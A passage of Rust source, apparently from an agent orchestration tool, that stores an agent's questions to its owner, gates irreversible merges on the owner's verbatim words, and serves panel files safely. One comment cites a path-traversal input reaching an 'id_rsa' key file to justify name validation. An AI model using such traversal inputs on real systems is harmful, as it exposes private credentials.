891        // have been qualified or withdrawn).
892        let latest = self
893            .thread
894            .iter()
895            .rev()
896            .find(|t| t.who == Who::Operator)
897            .map(|t| {
898                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
899                    t.body.as_str()
900                } else {
901                    t.body.trim()
902                }
903            });
904        if let Some(message) = latest {
905            crate::consult::validate_batch_effect(self, label, message, quote)?;
906        }
907        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
908            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
909            crate::consult::validate_effect(self, label, message, quote, true)?;
910        } else if crate::deputy::merge_gated(self) {
911            // The merge is irreversible and a say is not a decision. `hold` must
912            // be the latest message exactly. For `merge`, whether the words are
913            // a clear, unhedged instruction is the deputy's judgement alone;
914            // all magi checks is that the quote is a verbatim part of that
915            // latest message.
916            let ok = if label == crate::land::APPROVE {
917                latest.is_some_and(|m| match &self.merge_target {
918                    Some(target) => m == format!("merge {}", target.head) && quote == m,
919                    None => m.contains(quote),
920                })
921            } else {
922                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
923            };
924            if !ok {
925                bail!(
926                    "on a merge approval `{label}` settles it only when the quote is a \
927                     verbatim part of the owner's latest message ({}); if the wording is \
928                     doubtful, ask what they mean with `--thread` instead",
929                    if label == crate::land::HOLD {
930                        "for `hold`, the whole message"
931                    } else {
932                        "the quote must be the instruction itself"
933                    }
934                );
935            }
936        } else if self.node == crate::github_text::ASK_NODE
937            && crate::deputy::destructive(self, label)
938        {
939            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
940                bail!(
941                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
942                );
943            }
944        } else if crate::deputy::destructive(self, label)
945            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
946        {
947            bail!(
948                "`{label}` cannot be undone; it settles question {} only when the owner's \
949                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
950                 / not / question); ask what they mean with `--thread` instead",
951                self.short()
952            );
953        }
954        self.thread.push(Turn {
955            who: Who::Agent,
956            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
957            at: Timestamp::now(),
958            note: note
959                .map(str::trim)
960                .filter(|n| !n.is_empty())
961                .map(str::to_owned),
962        });
963        self.delivered_turns = self.thread.len();
964        self.answer(Answer::Choice(label.to_owned()))
965    }
966
967    /// The owner speaking back without answering: a request for context, a
968    /// clarifying question, anything short of a decision.
969    ///
970    /// Rejects the same two states [`Question::answer`] does, and for the same
971    /// reason - a question with a recorded [`Answer`] or an abandoned one has
972    /// no run left listening for a reply - and an empty turn, which would tell
973    /// the agent nothing it didn't already know. Never changes `status`: the
974    /// question stays [`QuestionStatus::Open`], because the owner did not
975    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
976    /// counting this as the one question it always was.
977    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
978        match self.status {
979            QuestionStatus::Answered => bail!(
980                "question {} was already answered; there is nothing left to \
981                 discuss",
982                self.short()
983            ),
984            QuestionStatus::Abandoned => bail!(
985                "question {} was abandoned and the run behind it is gone",
986                self.short()
987            ),
988            QuestionStatus::Open => {}
989        }
990        let body = body.into();
991        if body.trim().is_empty() {
992            bail!("a message to question {} cannot be empty", self.short());
993        }
994        self.thread.push(Turn {
995            who: Who::Operator,
996            body,
997            at: Timestamp::now(),
998            note: None,
999        });
1000        Ok(())
1001    }
1002
1003    /// The agent replying to the owner's last word, in place of an answer:
1004    /// same question, same id, another round.
1005    ///
1006    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1007    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1008    /// wholesale: the whole point of asking back is that what should be
1009    /// offered next may have changed, and a caller that wanted the old set
1010    /// unchanged can simply pass it again. An empty `Vec` means free text,
1011    /// exactly as it does when the question is first asked.
1012    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1013        match self.status {
1014            QuestionStatus::Answered => bail!(
1015                "question {} was already answered; replying now would not \
1016                 reach anyone",
1017                self.short()
1018            ),
1019            QuestionStatus::Abandoned => bail!(
1020                "question {} was abandoned and the run behind it is gone",
1021                self.short()
1022            ),
1023            QuestionStatus::Open => {}
1024        }
1025        let body = body.into();
1026        if body.trim().is_empty() {
1027            bail!("a reply to question {} cannot be empty", self.short());
1028        }
1029        // An action whose label is no longer offered could never fire.
1030        self.actions.retain(|label, _| choices.contains(label));
1031        self.choices = choices;
1032        let unread = self.unread_from_owner().is_some();
1033        self.thread.push(Turn {
1034            who: Who::Agent,
1035            body,
1036            at: Timestamp::now(),
1037            note: None,
1038        });
1039        // The agent has read everything up to its own reply - but only if
1040        // nothing the owner said in the meantime is still unread. A second say
1041        // that landed after the agent's last look must stay undelivered.
1042        if !unread {
1043            self.delivered_turns = self.thread.len();
1044        }
1045        Ok(())
1046    }
1047
1048    /// What the owner said that the agent has not read yet, oldest first,
1049    /// joined. `None` unless the question is open and such a turn exists.
1050    ///
1051    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1052    /// second owner turn it never saw, which leaves the last turn the agent's
1053    /// and the ball apparently back with the owner while a say is still unread.
1054    pub fn unread_from_owner(&self) -> Option<String> {
1055        if !self.status.open() {
1056            return None;
1057        }
1058        let said = self.undelivered_owner_turns();
1059        (!said.is_empty()).then(|| said.join("\n\n"))
1060    }
1061
1062    /// Owner turns the agent has not been handed yet, oldest first, whatever
1063    /// the question's status. [`Question::unread_from_owner`] adds the "still
1064    /// open" guard the waiter and the deputy rely on; an answer being handed
1065    /// over needs the says that came before it even though the question is
1066    /// closed by then.
1067    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1068        let from = self.delivered_turns.min(self.thread.len());
1069        self.thread[from..]
1070            .iter()
1071            .filter(|t| t.who == Who::Operator)
1072            .map(|t| t.body.as_str())
1073            .collect()
1074    }
1075
1076    /// When the conversation last moved: the newest thread turn, or the asking
1077    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1078    /// every reply, so a deadline runs from here and not from `asked_at`.
1079    pub fn last_activity(&self) -> i64 {
1080        self.thread
1081            .iter()
1082            .map(|t| t.at.as_second())
1083            .max()
1084            .unwrap_or(0)
1085            .max(self.asked_at.as_second())
1086    }
1087
1088    /// Is the ball in the agent's court?
1089    ///
1090    /// True from the moment the owner speaks back until the agent's next
1091    /// [`Question::reply`], and never on a fresh or an already-settled
1092    /// question. [`QuestionStatus`] does not move for either side of this -
1093    /// see [`Question::say`] - so this is the one place that state is
1094    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1095    /// separately rather than asking the phone to infer it from the thread.
1096    pub fn waiting_on_agent(&self) -> bool {
1097        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1098    }
1099
1100    /// Should a notification go out right now?
1101    ///
1102    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1103    /// there is no earlier operator turn to have already caught anyone's
1104    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1105    /// since the owner's own last word - see that constant for why the window
1106    /// exists at all and why its length is not configurable.
1107    fn should_notify(&self, now: Timestamp) -> bool {
1108        let Some(last) = self
1109            .thread
1110            .iter()
1111            .rev()
1112            .find(|t| t.who == Who::Operator)
1113            .map(|t| t.at)
1114        else {
1115            return true;
1116        };
1117        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1118    }
1119}
1120
1121/// A question store on disk.
1122#[derive(Debug, Clone)]
1123pub struct Questions {
1124    root: PathBuf,
1125}
1126
1127impl Questions {
1128    /// The operator's questions, `<home>/questions`.
1129    pub fn open() -> Self {
1130        Self::at(crate::run::home().join("questions"))
1131    }
1132
1133    /// A store at an explicit root. Tests use this, which is why none of them
1134    /// need the operator's real home.
1135    pub fn at(root: PathBuf) -> Self {
1136        Self { root }
1137    }
1138
1139    /// Directory holding the question files.
1140    pub fn root(&self) -> &Path {
1141        &self.root
1142    }
1143
1144    /// Path for one question id.
1145    pub fn path_of(&self, id: &str) -> PathBuf {
1146        self.root.join(format!("{id}.json"))
1147    }
1148
1149    /// Directory holding one question's panel, `<root>/<id>.panel`.
1150    pub fn panel_dir(&self, id: &str) -> PathBuf {
1151        self.root.join(format!("{id}{PANEL_DIR}"))
1152    }
1153
1154    /// Store a panel: the html, plus `assets` copied in under their base
1155    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1156    /// question, or the record on disk will deny having a panel that exists.
1157    ///
1158    /// The assets are **copied, not referenced**. An agent authors its panel
1159    /// inside a candidate worktree and points at files there, and `magi fold`
1160    /// deletes those worktrees; a question is the permanent record of a
1161    /// decision the owner took, so a panel that referenced its own images
1162    /// would render as broken boxes exactly when someone went back to ask why
1163    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1164    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1165    /// so the bytes counted and the bytes written are the same target file's -
1166    /// which is the intent: storing a link would leave the panel pointing at
1167    /// the worktree again, one indirection further away.
1168    ///
1169    /// Everything that can be rejected is rejected before the first byte is
1170    /// written, and the panel is then assembled in a scratch directory and
1171    /// swapped in. So a refusal leaves the previous panel intact, and a
1172    /// success replaces it *wholesale* rather than merging: a re-asked
1173    /// question showing one attempt's diff next to another attempt's table
1174    /// would be a panel neither agent ever wrote.
1175    ///
1176    /// [`put`]: Questions::put
1177    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1178        if !valid_asset_name(&q.id) {
1179            bail!(
1180                "question id `{}` is not a name magi will build a panel path from",
1181                q.id
1182            );
1183        }
1184        if html.trim().is_empty() {
1185            bail!(
1186                "question {} was handed an empty panel; an empty frame reads to \
1187                 the owner as \"the agent had nothing to say\", which is a lie",
1188                q.short()
1189            );
1190        }
1191
1192        // Names, then sizes, then writing - in that order, so nothing below
1193        // can leave a partial panel on disk.
1194        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1195        for src in assets {
1196            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1197            if !valid_asset_name(name) {
1198                bail!(
1199                    "panel asset `{}` cannot be stored: a panel file name must \
1200                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1201                    src.display()
1202                );
1203            }
1204            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1205                bail!(
1206                    "two panel assets are both named `{name}` - {} and {} - and \
1207                     the panel can only show one of them; rename one at the source",
1208                    first.display(),
1209                    src.display()
1210                );
1211            }
1212            named.push((name.to_owned(), src.as_path()));
1213        }
1214
1215        let mut total = html.len() as u64;
1216        for (_, src) in &named {
1217            let meta = std::fs::metadata(src)
1218                .with_context(|| format!("stat panel asset {}", src.display()))?;
1219            if !meta.is_file() {
1220                bail!(
1221                    "panel asset `{}` is not a file; a panel is html plus files \
1222                     copied beside it",
1223                    src.display()
1224                );
1225            }
1226            total = total.saturating_add(meta.len());
1227        }
1228        if total > PANEL_MAX_BYTES {
1229            bail!(
1230                "panel for question {} is {total} bytes, over magi's cap of \
1231                 {PANEL_MAX_BYTES} bytes; nothing was written",
1232                q.short()
1233            );
1234        }
1235
1236        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1237        let dir = self.panel_dir(&q.id);
1238        std::fs::create_dir_all(&self.root)
1239            .with_context(|| format!("create {}", self.root.display()))?;
1240        clear_dir(&tmp)?;
1241        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1242        if let Err(e) = fill_panel(&tmp, html, &named) {
1243            // A copy that dies halfway must not become the panel, and must not
1244            // leave scratch behind for the next call to inherit.
1245            let _ = std::fs::remove_dir_all(&tmp);
1246            return Err(e);
1247        }
1248        clear_dir(&dir)?;
1249        std::fs::rename(&tmp, &dir)
1250            .with_context(|| format!("move panel into {}", dir.display()))?;
1251
1252        q.panel = true;
1253        q.assets = named.into_iter().map(|(n, _)| n).collect();
1254        q.assets.sort_unstable();
1255        Ok(())
1256    }
1257
1258    /// The panel's html, or `None` when the question has no panel.
1259    ///
1260    /// `None` rather than an error for a missing panel because the caller is a
1261    /// web handler whose answer is 404 either way, and an unreadable panel is
1262    /// not a reason to fail the question it belongs to.
1263    pub fn panel_html(&self, id: &str) -> Option<String> {
1264        if !valid_asset_name(id) {
1265            return None;
1266        }
1267        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1268    }
1269
1270    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1271    /// not a name a panel file can have".
1272    ///
1273    /// Rejects a name failing [`valid_asset_name`] **before touching the
1274    /// filesystem**, which is the whole point of the second check: the name
1275    /// arrives from a URL, the directory is on disk where any process could
1276    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1277    /// operating system would resolve perfectly happily. The two callers'
1278    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1279    /// `Result<Option<_>>` rather than one flattened `Option`.
1280    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1281        if !valid_asset_name(name) {
1282            bail!(
1283                "`{name}` is not a panel file name; it must match \
1284                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1285            );
1286        }
1287        if !valid_asset_name(id) {
1288            return Ok(None);
1289        }
1290        let dir = self.panel_dir(id);
1291        if !dir.is_dir() {
1292            return Ok(None);
1293        }
1294        let path = dir.join(name);
1295        match std::fs::read(&path) {
1296            Ok(bytes) => Ok(Some(bytes)),
1297            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1298            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1299        }
1300    }
1301
1302    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1303    ///
1304    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1305    /// not have to know whether a panel was ever written. The question record
1306    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1307    /// in the same order as everywhere else here.
1308    ///
1309    /// [`put_panel`]: Questions::put_panel
1310    pub fn drop_panel(&self, id: &str) -> Result<()> {
1311        if !valid_asset_name(id) {
1312            bail!("question id `{id}` is not a name magi will build a panel path from");
1313        }
1314        clear_dir(&self.panel_dir(id))?;
1315        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1316    }
1317
1318    /// Path of the lease sidecar for one question id.
1319    pub fn lease_path(&self, id: &str) -> PathBuf {
1320        self.root.join(format!("{id}.lease"))
1321    }
1322
1323    /// The lease on a question, if a readable one exists.
1324    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1325        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1326        serde_json::from_str(&body).ok()
1327    }
1328
1329    /// Say, as `kind`, that something is alive and waiting on this question.
1330    ///
1331    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1332    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1333    /// the holder is gone a little early, and that is what the delivery guard
1334    /// (the seat still being busy) is there for.
1335    pub fn beat(&self, id: &str, kind: WaiterKind) {
1336        let lease = Lease {
1337            kind,
1338            pid: std::process::id(),
1339            beat_at: Timestamp::now(),
1340        };
1341        let path = self.lease_path(id);
1342        let tmp = path.with_extension("lease.tmp");
1343        let written = std::fs::create_dir_all(&self.root)
1344            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1345            .and_then(|()| std::fs::rename(&tmp, &path));
1346        if let Err(e) = written {
1347            tracing::debug!("could not beat the lease on question {id}: {e}");
1348        }
1349    }
1350
1351    /// Remove the lease sidecar. Absent is fine.
1352    pub fn drop_lease(&self, id: &str) {
1353        let _ = std::fs::remove_file(self.lease_path(id));
1354    }
1355
1356    /// Read-modify-write one question under a short exclusive lock, so the
1357    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1358    /// each other with a copy that predates the others.
1359    ///
1360    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1361    /// a torn file and does nothing for two writers that both read the same
1362    /// version first. Everything that changes a question that can still be
1363    /// answered goes through here: `f` sees the current record, not one loaded
1364    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1365    /// mid-update and is broken.
1366    pub fn update<T>(
1367        &self,
1368        id: &str,
1369        f: impl FnOnce(&mut Question) -> Result<T>,
1370    ) -> Result<(Question, T)> {
1371        std::fs::create_dir_all(&self.root)
1372            .with_context(|| format!("create {}", self.root.display()))?;
1373        let lock = self.root.join(format!("{id}.lock"));
1374        let started = std::time::Instant::now();
1375        loop {
1376            match std::fs::OpenOptions::new()
1377                .write(true)
1378                .create_new(true)
1379                .open(&lock)
1380            {
1381                Ok(_) => break,
1382                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1383                    let stale = std::fs::metadata(&lock)
1384                        .and_then(|m| m.modified())
1385                        .ok()
1386                        .and_then(|t| t.elapsed().ok())
1387                        .is_some_and(|age| age > LOCK_STALE);
1388                    if stale {
1389                        let _ = std::fs::remove_file(&lock);
1390                    } else if started.elapsed() > LOCK_STALE {
1391                        bail!("could not lock question {id}");
1392                    } else {
1393                        std::thread::sleep(Duration::from_millis(15));
1394                    }
1395                }
1396                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1397            }
1398        }
1399        struct Unlock(PathBuf);
1400        impl Drop for Unlock {
1401            fn drop(&mut self) {
1402                let _ = std::fs::remove_file(&self.0);
1403            }
1404        }
1405        let _guard = Unlock(lock);
1406        let mut q = read_path(&self.path_of(id))?;
1407        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1408        let out = f(&mut q)?;
1409        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1410            let home = self.root.parent().context("question store has no home")?;
1411            crate::merge_decision::dismiss(home, &q)?;
1412        }
1413        self.put(&mut q)?;
1414        Ok((q, out))
1415    }
1416
1417    /// Write a question, atomically, so a process killed mid-write leaves the
1418    /// previous state readable rather than a truncated file that would strand
1419    /// the run waiting on it.
1420    pub fn put(&self, q: &mut Question) -> Result<()> {
1421        std::fs::create_dir_all(&self.root)
1422            .with_context(|| format!("create {}", self.root.display()))?;
1423        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1424        let path = self.path_of(&q.id);
1425        let tmp = path.with_extension("json.tmp");
1426        let is_new = !path.exists();
1427        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1428        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1429        // A first write of an open question pages the operator, so a separate
1430        // notification about the same task or run is now a second page.
1431        if is_new
1432            && q.status.open()
1433            && q.node != crate::bump::NOTICE_NODE
1434            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1435        {
1436            crate::notices::quiet_for(home, q);
1437        }
1438        Ok(())
1439    }
1440
1441    /// Load a question by id or unambiguous id prefix.
1442    pub fn get(&self, id: &str) -> Result<Question> {
1443        let resolved = self.resolve_id(id)?;
1444        let q = read_path(&self.path_of(&resolved))?;
1445        Ok(self.with_repair_choice(q))
1446    }
1447
1448    fn with_repair_choice(&self, mut q: Question) -> Question {
1449        // Older local release approvals already persisted their displayed head
1450        // in the watch record. Recover that binding, never today's forge head.
1451        if q.status.open()
1452            && q.merge_target.is_none()
1453            && let Some(home) = self.root.parent()
1454            && let Some(target) = crate::release_watch::approval_target(home, &q)
1455            && let Ok((current, ())) = self.update(&q.id, |current| {
1456                if current.status.open() && current.merge_target.is_none() {
1457                    current.merge_target = Some(target.clone());
1458                }
1459                Ok(())
1460            })
1461        {
1462            q = current;
1463        }
1464        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1465            && q.node == crate::land::APPROVAL_NODE
1466            && let Some(home) = self.root.parent()
1467            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1468        {
1469            let mut upgraded = q.clone();
1470            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1471                match self.update(&q.id, |current| {
1472                    crate::land::upgrade_repair_choice(current, &state);
1473                    Ok(())
1474                }) {
1475                    Ok((current, ())) => return current,
1476                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1477                }
1478            }
1479        }
1480        q
1481    }
1482
1483    /// Every question on disk: open first, then newest first.
1484    ///
1485    /// Open first because that ordering is the product - the list exists to
1486    /// show the operator what has stopped, and an answered question is history
1487    /// underneath it. Unreadable files are skipped rather than fatal: one
1488    /// corrupt question must not take the web UI down, and must certainly not
1489    /// hide the open question the operator was looking for.
1490    pub fn list(&self) -> Vec<Question> {
1491        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1492            .into_iter()
1493            .flatten()
1494            .flatten()
1495            .map(|e| e.path())
1496            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1497            .filter_map(|p| read_path(&p).ok())
1498            .map(|q| self.with_repair_choice(q))
1499            .collect();
1500        all.sort_unstable_by(|a, b| {
1501            let rank = |q: &Question| u8::from(!q.status.open());
1502            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1503        });
1504        all
1505    }
1506
1507    /// Open questions belonging to one run, newest first.
1508    ///
1509    /// Used to decide whether a parked run can be resumed: while this is
1510    /// non-empty, nothing about the run has changed and no agent should be
1511    /// spawned for it.
1512    pub fn open_for(&self, run: &str) -> Vec<Question> {
1513        self.list()
1514            .into_iter()
1515            .filter(|q| q.status.open() && q.run == run)
1516            .collect()
1517    }
1518
1519    /// Abandon every open question belonging to a run, and report how many.
1520    ///
1521    /// Called when a run's record is deleted. The agent that asked died with
1522    /// the run, so there is nobody left to hand an answer to, and a question
1523    /// left open would keep asking the operator for a decision that can no
1524    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1525    /// イルが見つかりません" with two buttons, for a run whose directory had
1526    /// been gone for two hours.
1527    ///
1528    /// Abandoned rather than deleted, because [`Question::abandon`] already
1529    /// means "this can no longer be answered" and the record of having asked
1530    /// is worth keeping. Answered questions are left exactly as they are.
1531    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1532        let mut abandoned = 0;
1533        for mut q in self.open_for(run) {
1534            q.abandon(why);
1535            self.put(&mut q)?;
1536            abandoned += 1;
1537        }
1538        Ok(abandoned)
1539    }
1540
1541    /// Abandon a run's open questions once `status` says the run is not
1542    /// coming back, worded with what it actually became.
1543    ///
1544    /// The run-deleted case above and this one are the same fact - nobody is
1545    /// left to read an answer - reached by two different doors. This is the
1546    /// one for a run that finished on its own: merged, reached `Ready` with
1547    /// nothing left to do, failed outright with no established point to
1548    /// resume from, or every candidate agreed, with evidence, that nothing
1549    /// belonged in the worktree. Those are exactly the statuses
1550    /// [`RunStatus::resumable`]
1551    /// excludes, and that is the line this draws too - deliberately not
1552    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1553    /// over. Both of those can still be picked back up with the candidates,
1554    /// the review round and the seat sessions already on disk, so a question
1555    /// asked mid-round may yet get a real answer from a real resume, and
1556    /// folding it here would be exactly the mistake this function exists to
1557    /// avoid on the other side - answering back into a run that no longer
1558    /// exists to read it.
1559    ///
1560    /// A no-op, not an error, when `status` is still resumable or when there
1561    /// was nothing open to begin with - callers reach this from more than one
1562    /// place a run can settle, and a second call finding nothing left to
1563    /// abandon is the expected case, not a bug.
1564    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1565        if status.resumable() {
1566            return Ok(0);
1567        }
1568        let why = format!(
1569            "run {run} {}, so nothing is waiting for this answer",
1570            status.as_str()
1571        );
1572        // A post-merge notice is the exception: it is filed *because* the run
1573        // merged, and no agent waits on it - it is a to-do for the owner, not
1574        // a question a dead seat asked. Abandoning it here would erase the
1575        // only alert the moment the run settles.
1576        let mut abandoned = 0;
1577        for mut q in self.open_for(run) {
1578            if q.node == crate::bump::NOTICE_NODE {
1579                continue;
1580            }
1581            q.abandon(&why);
1582            self.put(&mut q)?;
1583            abandoned += 1;
1584        }
1585        Ok(abandoned)
1586    }
1587
1588    /// Expand an id prefix to exactly one question id. The short id the phone
1589    /// and the reports show is a suffix, so that is accepted too.
1590    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1591        use crate::queue::{Reference, record_ids, resolve_reference};
1592        let ids = record_ids(&self.root, "json")?;
1593        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1594            Reference::Found(id) => Ok(id),
1595            Reference::Missing => bail!("no question matches `{prefix}`"),
1596            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1597        }
1598    }
1599
1600    /// Newest modification time in the store, in milliseconds, for change
1601    /// detection. The web UI compares this instead of re-reading every
1602    /// question, so an idle phone on a slow link costs one `stat` per file.
1603    pub fn revision(&self) -> u64 {
1604        std::fs::read_dir(&self.root)
1605            .into_iter()
1606            .flatten()
1607            .flatten()
1608            .filter_map(|e| e.metadata().ok())
1609            .filter_map(|m| m.modified().ok())
1610            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1611            .map(|d| d.as_millis() as u64)
1612            .max()
1613            .unwrap_or(0)
1614    }
1615
1616    /// How many questions are open, whichever side of the conversation is
1617    /// holding the ball right now. Ten turns of back and forth between the
1618    /// owner and the agent are still one open question - see
1619    /// [`Question::say`] - so this does not drop while a reply is in
1620    /// flight. [`Self::count_needs_owner`] is the number that does.
1621    pub fn count_open(&self) -> usize {
1622        self.list().iter().filter(|q| q.status.open()).count()
1623    }
1624
1625    /// How many open questions actually need the owner right now: open, and
1626    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1627    ///
1628    /// This is the number a notification channel owes - the ask bar, the nav
1629    /// badge, the document title - because those exist to say "something
1630    /// needs you". An unread say stops needing the agent once its follow-up
1631    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1632    /// where a round trip must not look like the run resumed.
1633    pub fn count_needs_owner(&self) -> usize {
1634        self.list()
1635            .iter()
1636            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1637            .count()
1638    }
1639
1640    /// The follow-up spent its starts and its final turn is no longer alive.
1641    /// Computed from the lease rather than saved with the question, so the
1642    /// owner can decide even when an unread message remains in the thread.
1643    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1644        q.status.open()
1645            && q.deputy
1646                .as_ref()
1647                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1648            && !self
1649                .read_lease(&q.id)
1650                .is_some_and(|l| l.fresh(Timestamp::now()))
1651    }
1652}
1653
1654/// How a wait over [`Question`] ended.
1655#[derive(Debug, Clone, PartialEq, Eq)]
1656pub enum Wait {
1657    /// The owner decided. Carries [`Question::resolution`].
1658    Answered(String),
1659    /// The owner spoke back without deciding - see [`Question::say`]. The
1660    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1661    /// the caller's move is to hand this text to the agent and let it call
1662    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1663    Replied(String),
1664    /// This call's [`WAIT_SLICE`] ran out with the question still
1665    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1666    /// going quiet, the clock on *this process* running out. The question is
1667    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1668    /// process, so the wait resumes before the shell tool that would have
1669    /// killed this one gets the chance.
1670    Pending,
1671    /// Nobody said anything before the deadline, or the question was closed
1672    /// out from under the wait with no decision recorded - a run deleted out
1673    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1674    /// now on disk.
1675    Abandoned,
1676}
1677
1678/// File a question and wait for the owner, polling the store.
1679///
1680/// The question is updated in place from disk whenever the wait ends, so the
1681/// caller can act on it without re-reading it. `timeout` is the question's
1682/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1683/// of it - see [`Wait::Pending`] for what happens to the rest.
1684pub async fn ask_and_wait(
1685    q: &mut Question,
1686    store: &Questions,
1687    notify: &config::Notify,
1688    timeout: Duration,
1689) -> Result<Wait> {
1690    wait_for_owner(q, store, notify, timeout, POLL).await
1691}
1692
1693/// Resume a wait already filed, without adding a turn or notifying again.
1694///
1695/// This is `magi ask --wait <id>`'s engine: the process that owned the
1696/// previous slice is dead (the tool that ran it killed it, or it simply
1697/// exited after reporting [`Wait::Pending`]), but the question on disk never
1698/// stopped being open, and the owner was already notified about it once. A
1699/// second notification for the same unanswered question would page the
1700/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1701/// unlike [`ask_and_wait`], this skips straight to polling.
1702///
1703/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1704/// caller computes it as what remains until [`Question::asked_at`] plus the
1705/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1706/// up the deadline the first ask set, never push it out further.
1707pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1708    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1709}
1710
1711/// [`ask_and_wait`] with the poll interval injected.
1712///
1713/// Separate only so the tests can drive a whole wait in milliseconds instead of
1714/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1715/// a knob the operator gets to tune.
1716async fn wait_for_owner(
1717    q: &mut Question,
1718    store: &Questions,
1719    cfg: &config::Notify,
1720    timeout: Duration,
1721    poll: Duration,
1722) -> Result<Wait> {
1723    // A question that is already on disk (a `--thread` reply just wrote it under
1724    // the lock) is left alone: this copy may predate an answer or say that
1725    // landed since, and writing it back would erase that.
1726    if !store.path_of(&q.id).is_file() {
1727        store.put(q).context("file the question")?;
1728    }
1729    if q.should_notify(Timestamp::now()) {
1730        if let Err(e) = notify(cfg, q).await {
1731            // A broken webhook is not a reason to throw away an implementation.
1732            // The question is already on disk and the web UI already shows it,
1733            // so the operator still has a way in; only the tap on the shoulder
1734            // is lost.
1735            tracing::warn!(
